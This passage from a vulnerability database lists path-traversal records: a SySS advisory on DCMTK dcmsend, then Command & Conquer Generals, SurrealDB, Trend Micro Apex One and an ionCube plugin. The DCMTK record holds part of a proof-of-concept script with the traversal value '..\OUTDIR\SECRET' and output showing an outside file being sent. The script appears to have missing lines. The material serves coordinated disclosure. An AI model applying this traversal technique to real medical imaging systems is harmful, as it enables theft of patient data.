\"OW\", \"SQ\", \"UC\", \"UR\", \"UT\", \"UN\"):\n data += b\"\\0\\0\" + struct.pack(\"\u003cI\", len(value))\n else:\n data += struct.pack(\"\u003cH\", len(value))\n return data + value\n\ndef item(content):\n return struct.pack(\"\u003cHHI\", 0xFFFE, 0xE000, len(content)) + content\n\nsop_class = \"1.2.840.10008.5.1.4.1.1.7\"\nsop_inst = \"1.2.826.0.1.3680043.10.543.777.1\"\ntransfer_syntax = \"1.2.840.10008.1.2.1\"\n\nrecord = b\"\".join([\n elem((0x0004, 0x1400), \"UL\", struct.pack(\"\u003cI\", 0)),\n elem((0x0004, 0x1410), \"US\", struct.pack(\"\u003cH\", 0xFFFF)),\n elem((0x0004, 0x1420), \"UL\", struct.pack(\"\u003cI\", 0)),\n elem((0x0004, 0x1430), \"CS\", \"IMAGE\"),\n elem((0x0004, 0x1500), \"CS\", r\"..\\OUTDIR\\SECRET\"),\n elem((0x0004, 0x1510), \"UI\", sop_class),\n elem((0x0004, 0x1511), \"UI\", sop_inst),\n elem((0x0004, 0x1512), \"UI\", transfer_syntax),\n])\n\ndataset = b\"\".join([\n elem((0x0004, 0x1130), \"CS\", \"H7POC\"),\n elem((0x0004, 0x1200), \"UL\", struct.pack(\"\u003cI\", 0)),\n elem((0x0004, 0x1202), \"UL\", struct.pack(\"\u003cI\", 0)),\n elem((0x0004, 0x1212), \"US\", struct.pack(\"\u003cH\", 0)),\n elem((0x0004, 0x1220), \"SQ\", item(record)),\n])\n\nmeta_body = b\"\".join([\n elem((0x0002, 0x0001), \"OB\", b\"\\0\\1\"),\n elem((0x0002, 0x0002), \"UI\", \"1.2.840.10008.1.3.10\"),\n elem((0x0002, 0x0003), \"UI\", \"1.2.826.0.1.3680043.10.543.777.999\"),\n elem((0x0002, 0x0010), \"UI\", transfer_syntax),\n elem((0x0002, 0x0012), \"UI\", \"1.2.826.0.1.3680043.10.543.370\"),\n elem((0x0002, 0x0013), \"SH\", \"H7POC\"),\n])\n\n\nwith open(out, \"wb\") as handle:\n handle.write(b\"\\0\" * 128 + b\"DICM\" + meta + dataset)\nPY\n\nPORT=\"$(python3 - \u003c\u003c\u0027PY\u0027\nimport socket\ns = socket.socket()\ns.bind((\"127.0.0.1\", 0))\nprint(s.getsockname()[1])\ns.close()\nPY\n)\"\n\necho \"[*] DICOMDIR is inside: ${MEDIA_DIR}\"\necho \"[*] Referenced target is outside: ${TARGET_FILE}\"\necho \"[*] DICOMDIR ReferencedFileID:\"\ndcmdump +P 0004,1500 \"${DICOMDIR}\"\n\n\nSTORESCP_PID=$!\nsleep 1\n\nset +e\ndcmsend -v +rd 127.0.0.1 \"${PORT}\" \"${DICOMDIR}\" \u003e\"${DCMSEND_LOG}\" 2\u003e\u00261\nRC=$?\nset -e\nsleep 1\nkill \"${STORESCP_PID}\" 2\u003e/dev/null || true\nwait \"${STORESCP_PID}\" 2\u003e/dev/null || true\nSTORESCP_PID=\"\"\n\ncat \"${DCMSEND_LOG}\"\n\nRECEIVED_FILE=\"$(find \"${RECV_DIR}\" -type f | head -n 1)\"\nif [ \"${RC}\" -eq 0 ] \u0026\u0026\n [ -n \"${RECEIVED_FILE}\" ] \u0026\u0026\n\n dcmdump +P 0010,0010 +P 0010,0020 +P 0008,0018 \"${RECEIVED_FILE}\"\n exit 0\nfi\n\necho \"[!] FAILED: traversal transmission was not verified\"\necho \"[!] Workdir retained for inspection: ${WORKDIR}\"\ntrap - EXIT\nexit 1\nEOPOC\n\nA successful attack is indicated by output similar to the following:\n\n./poc.sh\n[*] DICOMDIR is inside: /tmp/dcmtk-dcmsend.PBsYZC/MEDIA\n[*] Referenced target is outside: /tmp/dcmtk-dcmsend.PBsYZC/OUTDIR/SECRET\n[*] DICOMDIR ReferencedFileID:\n\nI: checking input files ...\nI: starting association #1\nI: initializing network ...\nI: negotiating network association ...\nI: Requesting Association\nI: Association Accepted (Max Send PDV: 16372)\nI: sending SOP instances ...\nI: Sending C-STORE Request (MsgID 1, SC)\nI: Received C-STORE Response (Success)\nI: Releasing Association\nI:\nI: Status Summary\nI: --------------\nI: Number of associations : 1\nI: Number of pres. contexts : 1\nI: Number of SOP instances : 1\nI: - sent to the peer : 1\nI: * with status SUCCESS : 1\n\n(0010,0010) PN [POC^TRAVERSED] # 14, 1 PatientName\n(0010,0020) LO [H7DCMSEND] # 10, 1 PatientID\n\n\nThis demonstrates that dcmsend reads a file outside the DICOMDIR\ndirectory and transmits it to the configured DICOM peer.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThis security issue was fixed with the commit\n225ff1e0e42efcac64a5275e8f06ade14ca509b5 (see [4]).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-02: Vulnerability reported to manufacturer\n2026-07-02: Manufacturer acknowledges receipt of security advisories\n2026-07-03: Security fix published by manufacturer (see [4])\n2026-07-31: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] DCMTK project website\n https://dcmtk.org/en/\n[2] SySS Security Advisory SYSS-2026-047\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n[4] DCMTK security fix\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T10:11:56Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/25"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/25"
},
{
"url": "https://creativecommons.org/licenses/by/4.0/deed.en"
},
{
"url": "https://dcmtk.org/en/"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.syss.de/en/responsible-disclosure-policy"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/25"
],
"discovery": "EXTERNAL"
},
"title": "[SYSS-2026-047]: DICOM Toolkit (DCMTK) - Path traversal (CWE-22)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0024",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/25",
"automated": true,
"contentSha256": "8df56d4e1b9f1913f32da9589f0d40c0947e245e305e38afff962dfca7df1892",
"evidenceScore": 8,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/25",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-07-31T07:59:40Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:20Z",
"dateUpdated": "2026-09-09T10:11:56Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0024"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1-2026-0010
Vulnerability from gna-1 – Published: 2026-01-29 14:33 – Updated: 2026-01-29 14:33
VLAI
EPSS
VEX
Summary
Improper input validation in the file transfer handling logic in Electronic Arts Command & Conquer: Generals before latest community patches on Windows allows a remote unauthenticated attacker to write arbitrary files to disk and achieve code execution via malicious multiplayer file-transfer packets.
Severity
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
GNA-1
This instance
References
1 reference
| URL | Tags |
|---|---|
| https://www.atredis.com/blog/2026/1/26/generals | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| EA Games | Command & Conquer: Generals |
Affected:
|
{
"containers": {
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"Windows"
],
"product": "Command \u0026 Conquer: Generals",
"vendor": "EA Games",
"versions": [
{
"status": "affected"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Bryan Alexander"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Improper input validation in the file transfer handling logic in Electronic Arts Command \u0026amp; Conquer: Generals before latest community patches on Windows allows a remote unauthenticated attacker to write arbitrary files to disk and achieve code execution via malicious multiplayer file-transfer packets.\u003cbr\u003e"
}
],
"value": "Improper input validation in the file transfer handling logic in Electronic Arts Command \u0026 Conquer: Generals before latest community patches on Windows allows a remote unauthenticated attacker to write arbitrary files to disk and achieve code execution via malicious multiplayer file-transfer packets."
}
],
"impacts": [
{
"capecId": "CAPEC-23",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-23 File Content Injection"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22 Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"orgId": "00000000-0000-4000-9000-000000000000"
},
"references": [
{
"tags": [
"third-party-advisory"
],
"url": "https://www.atredis.com/blog/2026/1/26/generals"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_gcve": [
{
"recordType": "advisory",
"vulnId": "gcve-1-2026-0010"
}
],
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "00000000-0000-4000-9000-000000000000",
"datePublished": "2026-01-29T14:33:18.822829Z",
"dateUpdated": "2026-01-29T14:33:18.822829Z",
"requesterUserId": "00000000-0000-4000-9000-000000000000",
"serial": 1,
"state": "PUBLISHED",
"vulnId": "gcve-1-2026-0010",
"vulnerabilitylookup_history": [
[
"andras.iklody@gmail.com",
"2026-01-29T14:33:18.822829Z"
]
]
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2025-71394 (GCVE-0-2025-71394)
Vulnerability from cvelistv5 – Published: 2026-07-18 13:10 – Updated: 2026-07-28 01:48
VLAI
EPSS
VEX
Title
SurrealDB before 2.2.2 Local File Read via DEFINE ANALYZER
Summary
SurrealDB versions before 2.2.2 contain a local file read vulnerability in the DEFINE ANALYZER statement that allows authenticated users to read arbitrary files on the file system. Attackers with root, namespace, or database level privileges can point analyzers to arbitrary file paths and exfiltrate content from two-column tab-separated files.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-07-20 19:23 UTC
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/surrealdb/surrealdb/security/a… | vendor-advisory |
| https://www.vulncheck.com/advisories/surrealdb-be… | third-party-advisory |
Impacted products
Date Public
2025-04-10 00:00
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-71394",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-20T19:23:34.568583Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-07-20T19:31:51.869Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:cargo/surrealdb",
"product": "surrealdb",
"vendor": "surrealdb",
"versions": [
{
"lessThan": "2.2.2",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "2.2.2",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"packageURL": "pkg:cargo/surrealdb",
"product": "surrealdb",
"vendor": "surrealdb",
"versions": [
{
"lessThan": "2.1.5",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "2.1.5",
"versionType": "semver"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:surrealdb:surrealdb:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.2.2",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:surrealdb:surrealdb:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.1.5",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "cure53"
}
],
"datePublic": "2025-04-10T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "SurrealDB versions before 2.2.2 contain a local file read vulnerability in the DEFINE ANALYZER statement that allows authenticated users to read arbitrary files on the file system. Attackers with root, namespace, or database level privileges can point analyzers to arbitrary file paths and exfiltrate content from two-column tab-separated files."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 2.3,
"baseSeverity": "LOW",
"privilegesRequired": "LOW",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "NONE"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-28T01:48:17.603Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"name": "GitHub Security Advisory (GHSA-2cvj-g5r5-jrrg)",
"tags": [
"vendor-advisory"
],
"url": "https://github.com/surrealdb/surrealdb/security/advisories/GHSA-2cvj-g5r5-jrrg"
},
{
"name": "VulnCheck Advisory: SurrealDB before 2.2.2 Local File Read via DEFINE ANALYZER",
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/surrealdb-before-local-file-read-via-define-analyzer"
}
],
"title": "SurrealDB before 2.2.2 Local File Read via DEFINE ANALYZER",
"x_generator": {
"engine": "vulncheck-endgame"
}
}
},
"cveMetadata": {
"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"assignerShortName": "VulnCheck",
"cveId": "CVE-2025-71394",
"datePublished": "2026-07-18T13:10:13.041Z",
"dateReserved": "2026-07-16T12:14:41.770Z",
"dateUpdated": "2026-07-28T01:48:17.603Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-71211 (GCVE-0-2025-71211)
Vulnerability from cvelistv5 – Published: 2026-05-21 13:02 – Updated: 2026-05-21 14:09
VLAI
EPSS
VEX
Summary
A vulnerability in the Trend Micro Apex One management console could allow a remote attacker to upload malicious code and execute commands on affected installations. This vulnerability is similar in scope to CVE-2025-71210 but affects a different executable.
Please note: although this vulnerability carries a technical critical CVSS rating, this was reported via responsible disclosure via a researcher through the Zero Day Initiative. The SaaS versions of the product have already been mitigated and no customer action required.
For this particular vulnerability, an attacker must have access to the Trend Micro Apex One Management Console, so customers that have their console�s IP address exposed externally should consider mitigating factors such as source restrictions if not already applied.
Severity
9.8 (Critical)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-05-21 14:09 UTC
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory
Assigner
References
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Trend Micro, Inc. | TrendAI Apex One |
Affected:
2019 (14.0) , < 14.0.0.14136
(semver)
cpe:2.3:a:trendmicro:apexone_op:14.0.0.14136:*:*:*:*:*:*:* |
|
| Trend Micro, Inc. | TrendAI Apex One as a Service |
Affected:
SaaS , < 14.0.20315
(semver)
cpe:2.3:a:trendmicro:apexone_saas:14.0.0.20315:*:*:*:*:*:*:* |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-71211",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-21T14:09:32.804946Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-21T14:09:53.718Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"cpes": [
"cpe:2.3:a:trendmicro:apexone_op:14.0.0.14136:*:*:*:*:*:*:*"
],
"product": "TrendAI Apex One",
"vendor": "Trend Micro, Inc.",
"versions": [
{
"lessThan": "14.0.0.14136",
"status": "affected",
"version": "2019 (14.0)",
"versionType": "semver"
}
]
},
{
"cpes": [
"cpe:2.3:a:trendmicro:apexone_saas:14.0.0.20315:*:*:*:*:*:*:*"
],
"product": "TrendAI Apex One as a Service",
"vendor": "Trend Micro, Inc.",
"versions": [
{
"lessThan": "14.0.20315",
"status": "affected",
"version": "SaaS",
"versionType": "semver"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "A vulnerability in the Trend Micro Apex One management console could allow a remote attacker to upload malicious code and execute commands on affected installations. This vulnerability is similar in scope to CVE-2025-71210 but affects a different executable. \r\n\r\nPlease note: although this vulnerability carries a technical critical CVSS rating, this was reported via responsible disclosure via a researcher through the Zero Day Initiative. The SaaS versions of the product have already been mitigated and no customer action required.\r\n\r\nFor this particular vulnerability, an attacker must have access to the Trend Micro Apex One Management Console, so customers that have their console\ufffds IP address exposed externally should consider mitigating factors such as source restrictions if not already applied."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory",
"lang": "en-US",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-21T13:02:02.834Z",
"orgId": "7f7bd7df-cffe-4fdb-ab6d-859363b89272",
"shortName": "trendmicro"
},
"references": [
{
"url": "https://success.trendmicro.com/en-US/solution/KA-0022458"
},
{
"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-137/"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "7f7bd7df-cffe-4fdb-ab6d-859363b89272",
"assignerShortName": "trendmicro",
"cveId": "CVE-2025-71211",
"datePublished": "2026-05-21T13:02:02.834Z",
"dateReserved": "2026-02-11T16:33:44.102Z",
"dateUpdated": "2026-05-21T14:09:53.718Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-71210 (GCVE-0-2025-71210)
Vulnerability from cvelistv5 – Published: 2026-05-21 13:01 – Updated: 2026-05-21 14:10
VLAI
EPSS
VEX
Summary
A vulnerability in the Trend Micro Apex One management console could allow a remote attacker to upload malicious code and execute commands on affected installations.
Please note: although this vulnerability carries a technical critical CVSS rating, this was reported via responsible disclosure via a researcher through the Zero Day Initiative. The SaaS versions of the product have already been mitigated and no customer action required.
For this particular vulnerability, an attacker must have access to the Trend Micro Apex One Management Console, so customers that have their console�s IP address exposed externally should consider mitigating factors such as source restrictions if not already applied.
Severity
9.8 (Critical)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-05-21 14:10 UTC
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory
Assigner
References
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Trend Micro, Inc. | TrendAI Apex One |
Affected:
2019 (14.0) , < 14.0.0.14136
(semver)
cpe:2.3:a:trendmicro:apexone_op:14.0.0.14136:*:*:*:*:*:*:* |
|
| Trend Micro, Inc. | TrendAI Apex One as a Service |
Affected:
SaaS , < 14.0.20315
(semver)
cpe:2.3:a:trendmicro:apexone_saas:14.0.0.20315:*:*:*:*:*:*:* |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-71210",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-21T14:10:09.359975Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-21T14:10:17.269Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"cpes": [
"cpe:2.3:a:trendmicro:apexone_op:14.0.0.14136:*:*:*:*:*:*:*"
],
"product": "TrendAI Apex One",
"vendor": "Trend Micro, Inc.",
"versions": [
{
"lessThan": "14.0.0.14136",
"status": "affected",
"version": "2019 (14.0)",
"versionType": "semver"
}
]
},
{
"cpes": [
"cpe:2.3:a:trendmicro:apexone_saas:14.0.0.20315:*:*:*:*:*:*:*"
],
"product": "TrendAI Apex One as a Service",
"vendor": "Trend Micro, Inc.",
"versions": [
{
"lessThan": "14.0.20315",
"status": "affected",
"version": "SaaS",
"versionType": "semver"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "A vulnerability in the Trend Micro Apex One management console could allow a remote attacker to upload malicious code and execute commands on affected installations.\r\n\r\nPlease note: although this vulnerability carries a technical critical CVSS rating, this was reported via responsible disclosure via a researcher through the Zero Day Initiative. The SaaS versions of the product have already been mitigated and no customer action required.\r\n\r\nFor this particular vulnerability, an attacker must have access to the Trend Micro Apex One Management Console, so customers that have their console\ufffds IP address exposed externally should consider mitigating factors such as source restrictions if not already applied."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory",
"lang": "en-US",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-21T13:01:53.937Z",
"orgId": "7f7bd7df-cffe-4fdb-ab6d-859363b89272",
"shortName": "trendmicro"
},
"references": [
{
"url": "https://success.trendmicro.com/en-US/solution/KA-0022458"
},
{
"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-136/"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "7f7bd7df-cffe-4fdb-ab6d-859363b89272",
"assignerShortName": "trendmicro",
"cveId": "CVE-2025-71210",
"datePublished": "2026-05-21T13:01:53.937Z",
"dateReserved": "2026-02-11T16:33:44.101Z",
"dateUpdated": "2026-05-21T14:10:17.269Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-69411 (GCVE-0-2025-69411)
Vulnerability from cvelistv5 – Published: 2026-03-05 05:53 – Updated: 2026-04-28 21:01
VLAI
EPSS
VEX
Title
WordPress ionCube tester plus plugin <= 1.3 - Arbitrary File Download vulnerability
Summary
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Robert Seyfriedsberger ionCube tester plus ioncube-tester-plus allows Path Traversal.This issue affects ionCube tester plus: from n/a through <= 1.3.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-03-05 15:02 UTC
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://patchstack.com/database/Wordpress/Plugin/… | vdb-entry |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Robert Seyfriedsberger | ionCube tester plus |
Affected:
0 , ≤ 1.3
(custom)
|
Date Public
2026-04-01 16:03
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-69411",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-05T15:02:22.987111Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-28T21:01:54.552Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://wordpress.org/plugins",
"defaultStatus": "unaffected",
"packageName": "ioncube-tester-plus",
"product": "ionCube tester plus",
"vendor": "Robert Seyfriedsberger",
"versions": [
{
"changes": [
{
"at": "1.4",
"status": "unaffected"
}
],
"lessThanOrEqual": "1.3",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Jarno Vos (jrn5151) | Patchstack Bug Bounty Program"
}
],
"datePublic": "2026-04-01T16:03:53.896Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in Robert Seyfriedsberger ionCube tester plus ioncube-tester-plus allows Path Traversal.\u003cp\u003eThis issue affects ionCube tester plus: from n/a through \u003c= 1.3.\u003c/p\u003e"
}
],
"value": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in Robert Seyfriedsberger ionCube tester plus ioncube-tester-plus allows Path Traversal.This issue affects ionCube tester plus: from n/a through \u003c= 1.3."
}
],
"impacts": [
{
"capecId": "CAPEC-126",
"descriptions": [
{
"lang": "en",
"value": "Path Traversal"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
